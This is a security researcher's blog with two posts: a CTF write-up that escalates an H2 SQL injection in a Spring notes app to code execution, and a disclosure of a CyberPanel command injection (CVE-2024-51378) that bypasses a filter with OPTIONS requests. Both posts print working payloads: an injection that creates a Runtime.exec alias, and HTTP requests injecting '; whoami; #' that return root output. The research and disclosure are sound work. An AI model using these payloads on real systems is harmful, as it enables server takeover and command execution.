refr4g

Escalating H2 SQL Injection to RCE

Tue, 12 Nov 2024 00:00:00 GMT

Initial

When visiting web app we have firstly to register in order to access application.

We're given note web app, we cannot make new notes or something like that.

So let's dig into source code.

Source Code Analysis

Web app is written in Java+Spring.

Here we have 2 controllers, NotesController REST API, MainController for user authentication and session management. PentestNotesApplication main class for running app.

NotesController

Since MainController and PentestNotesApplication don't have anything interesting, let's get into NotesController.

@RestController
@RequestMapping("/api")
public class NotesController {
    @Autowired
    private EntityManager entityManager;
    @GetMapping("/notes")
    public ResponseEntity < ? > notes(HttpSession httpSession) {
        if (httpSession.getAttribute("username") == null) {
            return ResponseEntity.status(HttpStatus.UNAUTHORIZED).body("unauthorized");
        }
        String query = "Select * from notes";
        List < Object[] > resultList = entityManager.createNativeQuery(query).getResultList();
        List < Map < String, Object >> result = new ArrayList < > ();
        for (Object[] row: resultList) {
            Map < String, Object > rowMap = new HashMap < > ();
            rowMap.put("ID", row[0]);
            rowMap.put("Note", row[1]);
            rowMap.put("Content", row[2]);
            result.add(rowMap);
        }
        return ResponseEntity.ok(result);
    }

This api endpoint is used in main web page to pull all notes from db and display it on, but nothing much else.

    @PostMapping("/note")
    public ResponseEntity < ? > noteByName(@RequestParam String name, HttpSession httpSession) {
        if (httpSession.getAttribute("username") == null) {
            return ResponseEntity.status(HttpStatus.UNAUTHORIZED).body("unauthorized");
        }
        if (name.contains("$") || name.toLowerCase().contains("concat")) {
            return ResponseEntity.status(HttpStatus.FORBIDDEN).body("Bad character in name :)");
        }
        String query = String.format("Select * from notes where name ='%s' ", name);
        List < Object[] > resultList = entityManager.createNativeQuery(query).getResultList();
        List < Map < String, Object >> result = new ArrayList < > ();
        for (Object[] row: resultList) {
            Map < String, Object > rowMap = new HashMap < > ();
            rowMap.put("ID", row[0]);
            rowMap.put("Name", row[1]);
            rowMap.put("Note", row[2]);
            result.add(rowMap);
        }
        return ResponseEntity.ok(result);
    }
}

Here we go, finally something interesting. This api endpoint is used when you access into specific note, and it pulls all info from db (which is H2 if we look into application.properties) based on the provided name parameter, filtering notes by this name. It validates input in order to prevent SQL Injection by checking for $ and concat, and then returns note details. Since we can control name parameter it seems that we can get SQLi really easy and bypass these checks.

Reference: H2 SQL Database Website

<script>
    document.addEventListener('DOMContentLoaded', function () {
        const urlParams = new URLSearchParams(window.location.search);
        const nameParam = urlParams.get('name');

        if (nameParam) {
            const formData = new FormData();
            formData.append('name', nameParam);

            fetch('/api/note', {
                method: 'POST',
                body: formData
            })
                .then(response => {
                    if (!response.ok) {
                        throw new Error('Network response was not ok');
                    }
                    return response.json(); // Parse response as JSON
                })
                .then(data => {
                    const checklist = document.getElementById('checklist');
                    checklist.innerHTML = ''; // Clear previous content

                    if (data.length === 0) {
                        checklist.innerHTML = '<p>No checklist items available.</p>';
                    } else {
                        data.forEach(item => {
                            const checklistItem = document.createElement('div');
                            checklistItem.classList.add('checklist__item');

                            const itemTitle = document.createElement('div');
                            itemTitle.classList.add('checklist__item-title');
                            itemTitle.textContent = `ID: ${item.ID}`;

                            const itemContent = document.createElement('div');
                            itemContent.innerHTML = `Name: ${item.Name}<br>Note: ${item.Note}`; // Use innerHTML for line break

                            checklistItem.appendChild(itemTitle);
                            checklistItem.appendChild(itemContent);

                            checklist.appendChild(checklistItem);
                        });
                    }
                })
                .catch(error => {
                    console.error('Error fetching note data:', error);
                });
        } else {
            console.error('No "name" parameter found in the URL.');
        }
    });
</script>

Here is part of the front-end code where we can see that this api is called when we want to access specific note.

So we can start our exploitation journey.

Exploitation

Triggering SQL Injection

Firstly, we will intercept request when we are accessing specific note.

It looks like this, just forward this request and front-end will make api request itself which we will intercept.

This is request we need. Here we can see name parameter which is used in SQL query on back-end we discussed before.

Let's make some basic testing! We will send something; OR 1=1 to see what will happen.

Yay! We confirmed SQLi vulnerability.

But wait... I think we can esacalate this to RCE. Now how can we execute shell commands inside H2 database?

Escalating to RCE

I started to read H2 documentation and stumbled upon here. This means that we can execute Java functions along with SQL query. That is what we need!

Now, we can make string function which will execute shell command since we have Runtime class built-in which we can use for executing shell commands.

import java.io.IOException;

public class Main {

    public static void main(String[] args) throws IOException {
        System.out.println(rce());
    }

    static String rce() throws java.io.IOException{
        java.util.Scanner cmd_output = new java.util.Scanner(Runtime.getRuntime().exec("ls -la").getInputStream()).useDelimiter("\\A");

        return cmd_output.hasNext() ? cmd_output.next() : "";
    }
}

Here is the breakdown of our rce java function:

Declaring a function rce() that returns a String and throws IOException due to .exec().
Running ls -la (for example) using Runtime.getRuntime().exec().
Setting up a Scanner to read the InputStream from the command.
Using \\A as a delimiter to capture all output at once.
Returning the output if available, or an empty string if not.

We'll need only our rce() function, this is just example to test around our function on local machine.

Assembling together

It's time to build entire SQL query for getting rce!

Based on H2 documentation we can make an alias with provided Java function and then note field of e.g. note id=1 update with our command output.

something' OR 1=1; DROP ALIAS IF EXISTS exec_cmd; CREATE ALIAS exec_cmd AS 'String rce() throws java.io.IOException {
    java.util.Scanner cmd_output = new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\\\A");
    return cmd_output.hasNext() ? cmd_output.next() : "";
}'; UPDATE notes SET note = exec_cmd() WHERE id = 1; --

At the beggining of the SQL query, we check if alias exists, and if it does we delete it. This approach allows us to reuse the alias name in our payload without needing to change it each time. Since we don't use concat or $ in sql query/payload, this means that bypassing checks i prevously mentioned in source code analysis is successful!

Sending payload was successful, now we have to check if the note is updated on the web app.

Hell yeahh, we have RCE!

Final Toughts

It is easy challenge, but i found it interesting to make a writeup on since not many people around me know about H2 db, and it was interesting to write some custom code in order to get RCE. I know that the writeup is lengthy xD, but i just wanted to cover all steps clearly.

Uncovering a Command Injection Vulnerability in CyberPanel: A Fun Journey into Security Testing

Sat, 26 Oct 2024 00:00:00 GMT

Uncovering a Command Injection Vulnerability in CyberPanel: A Fun Journey into Security Testing

In the ever-evolving landscape of web applications, security remains a top concern. As an avid user and supporter of open-source projects, I was drawn to CyberPanel, a widely-used control panel for managing web hosting and server environments. Little did I know that my exploration would lead me down a rabbit hole, revealing a critical command injection vulnerability!

Setting the Scene: What is CyberPanel?

CyberPanel is an open-source web hosting control panel that aims to simplify the management of servers. It's packed with features, offering everything from file management to SSL management, making it a go-to choice for many developers and system administrators. However, like any powerful tool, it requires vigilance to ensure security measures are robust.

The Discovery: Unearthing the Vulnerability

While diving into the functionality of CyberPanel, I stumbled upon the /ftp/getresetstatus endpoint. At first glance, it appeared innocuous enough, handling user requests with ease. However, a closer inspection revealed a critical flaw: this endpoint processes user input from the statusfile parameter without proper validation or sanitization, creating a tempting opportunity for remote command injection.

The Vulnerable Code

The vulnerability exists in the /ftp/getresetstatus endpoint, which processes user input from the statusfile parameter. The code directly incorporates this input into a shell command without proper validation or access control. Here’s a simplified version of the vulnerable code:

def getresetstatus(request):
    data = json.loads(request.body)
    statusfile = data['statusfile']
    installStatus = ProcessUtilities.outputExecutioner("sudo cat " + statusfile)
    ...

As illustrated, the statusfile parameter is directly used in a shell command, creating a significant opportunity for remote command injection. Moreover, this endpoint lacks proper Access Control Lists (ACLs), leaving it vulnerable to unauthorized access.

Step 1: Initial Testing

My journey began by testing the /ftp/getresetstatus endpoint using a POST request. I crafted a request designed to execute the whoami command, ensuring to include the necessary CSRF token for validation:

POST /ftp/getresetstatus HTTP/1.1
Host: example.com
Content-Type: application/json
Cookie: django_language=en; csrftoken=3WludTzJtlXhmLiVBRZCzkBPgPUwmQMt
X-Csrftoken: 3WludTzJtlXhmLiVBRZCzkBPgPUwmQMt
Content-Length: 48

{
    "statusfile": "; whoami; #"
}

Upon sending the request, the security middleware sprang into action and blocked it, returning the following response:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: DENY
Vary: Accept-Language, Cookie
Content-Language: en
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Content-Length: 269
Date: Wed, 23 Oct 2024 10:52:35 GMT
Server: LiteSpeed
Connection: Keep-Alive

{"error_message": "Data supplied is not accepted, following characters are not allowed in the input ` $ & ( ) [ ] { } ; : \u2018 < >.", "errorMessage": "Data supplied is not accepted, following characters are not allowed in the input ` $ & ( ) [ ] { } ; : \u2018 < >."}

The middleware effectively checked for special characters in POST request bodies, but it did not apply the same scrutiny to other HTTP methods. This was the critical insight I needed.

Step 2: Analyzing the Security Middleware

Curious about the middleware's behavior, I dug deeper into the source code. The relevant security middleware checks for specific characters in POST request bodies. Here’s a simplified version of the security middleware code:

class secMiddleware:
    def __call__(self, request):
        if request.method == 'POST':
            try:
                data = json.loads(request.body)
                for key, value in data.items():
                    # Check for special characters
                    if any(char in value for char in [';', '&', '|', '`']):
                        # Log and block the request
                        return HttpResponse("Invalid input detected.")
            except Exception as msg:
                # Handle exceptions
                pass
        return self.get_response(request)

The middleware effectively checks for potentially harmful characters in POST requests, but it does not apply the same scrutiny to other HTTP methods. This was the critical insight I needed.

Step 3: The Bypass Discovery

Realizing that the middleware was not enforcing the same checks for OPTIONS requests, I decided to exploit this oversight. I crafted an OPTIONS request with my malicious payload, ensuring to include all relevant headers just like the POST request:

OPTIONS /ftp/getresetstatus HTTP/1.1
Host: example.com
Content-Type: application/json
Cookie: django_language=en; csrftoken=3WludTzJtlXhmLiVBRZCzkBPgPUwmQMt
X-Csrftoken: 3WludTzJtlXhmLiVBRZCzkBPgPUwmQMt
Content-Length: 48

{
    "statusfile": "; whoami; #"
}

Step 4: Triggering the Vulnerability

To my surprise, the OPTIONS request successfully passed through the security middleware without any validation, executing the command on the server. This allowed me to retrieve sensitive information, and I received the following response confirming the successful exploitation:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-XSS-Protection: 1; mode=block
X-Frame-Options: sameorigin
Content-Security-Policy: style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://www.jsdelivr.com https://cdnjs.cloudflare.com https://maxcdn.bootstrapcdn.com https://cdn.jsdelivr.net
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Vary: Accept-Language, Cookie
Content-Language: en
Content-Length: 64
Date: Wed, 23 Oct 2024 10:57:29 GMT
Server: LiteSpeed
Connection: Keep-Alive

{"abort": 0, "error_message": "None", "requestStatus": "root\n"}

In this response, the requestStatus indicates that the command was executed with root privileges, highlighting the severity of the vulnerability.

Recommendations for Fixing the Vulnerability

Having discovered this vulnerability, it’s crucial to act quickly to secure the application. Here are a few recommendations for CyberPanel developers:

Implement Input Validation: Ensure all user inputs are validated and sanitized before being used in any shell commands.
Utilize Access Control Lists (ACLs): Add ACLs to the /ftp/getresetstatus endpoint to restrict access and limit exposure to potential exploits.
Review Other Endpoints: Conduct a thorough audit of other sensitive endpoints to identify any similar vulnerabilities or missing ACLs.
Restrict HTTP Methods: Limit the allowed HTTP methods for sensitive endpoints. In particular, restrict the /ftp/getresetstatus endpoint to only allow POST requests, which should also pass through strict input validation.
Enhance Security Middleware: Update the security middleware to inspect all HTTP methods, including OPTIONS, to ensure no bypassing of security checks is possible.

PoC: CVE-2024-51378 PoC Repository

Note:

Exact same vulnerability applies to /dns/getresetstatus endpoint.

Conclusion: The Fun in Finding Flaws

Finding this vulnerability in CyberPanel was both a challenge and a rewarding experience. It not only honed my skills in security testing but also reminded me of the importance of community in open-source projects. I encourage other developers and security researchers to dive into CyberPanel and similar applications—who knows what hidden gems (or vulnerabilities) you might find!

Happy testing!